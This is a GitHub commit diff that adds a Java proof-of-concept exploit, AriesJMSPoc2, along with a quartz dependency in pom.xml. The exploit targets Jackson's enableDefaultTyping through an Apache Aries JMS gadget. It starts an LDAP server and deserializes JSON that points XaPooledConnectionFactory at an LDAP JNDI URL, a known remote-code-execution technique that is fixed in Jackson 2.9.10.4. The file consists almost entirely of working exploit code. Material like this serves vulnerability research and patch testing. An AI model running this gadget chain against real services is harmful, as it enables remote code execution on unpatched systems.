File tree Expand file tree Collapse file tree 2 files changed +54
-0
lines changed
src/main/java/com/threedr3am/bug/jackson/rce Expand file tree Collapse file tree 2 files changed +54
-0
lines changed Original file line number Diff line number Diff line change 139139 <version >2.0.0</version >
140140 </dependency >
141141
142+ <dependency >
143+ <groupId >org.quartz-scheduler</groupId >
144+ <artifactId >quartz</artifactId >
145+ <version >2.3.2</version >
146+ </dependency >
147+
148+
142149 </dependencies >
143150
144151</project >
Original file line number Diff line number Diff line change 1+ package com .threedr3am .bug .jackson .rce ;
2+
3+ import com .fasterxml .jackson .databind .ObjectMapper ;
4+ import com .threedr3am .bug .common .server .LdapServer ;
5+ import java .io .IOException ;
6+
7+ /**
8+ * 比较鸡肋,需要调用writeValueAsString才能触发
9+ *
10+ * Reporter: Srikanth Ramu
11+ *
12+ * Fix will be included in:
13+ *
14+ * 2.9.10.4
15+ * Does not affect 2.10.0 and later
16+ *
17+ * aries.transaction.jms gadget
18+ *
19+ * <dependency>
20+ * <groupId>org.apache.aries.transaction</groupId>
21+ * <artifactId>org.apache.aries.transaction.jms</artifactId>
22+ * <version>2.0.0</version>
23+ * </dependency>
24+ *
25+ * @author threedr3am
26+ */
27+ public class AriesJMSPoc2 {
28+
29+ static {
30+ //rmi server示例
31+ // RmiServer.run();
32+
33+ //ldap server示例
34+ LdapServer .run ();
35+ }
36+
37+ public static void main (String [] args ) throws IOException {
38+ ObjectMapper mapper = new ObjectMapper ();
39+ mapper .enableDefaultTyping ();
40+
41+ String json = "[\" org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory\" , {\" tmJndiName\" : \" ldap://localhost:43658/Calc\" , \" tmFromJndi\" : true}]" ;
42+ Object o = mapper .readValue (json , Object .class );
43+ mapper .writeValueAsString (o );
44+ }
45+
46+
47+ }
You can’t perform that action at this time.
0 commit comments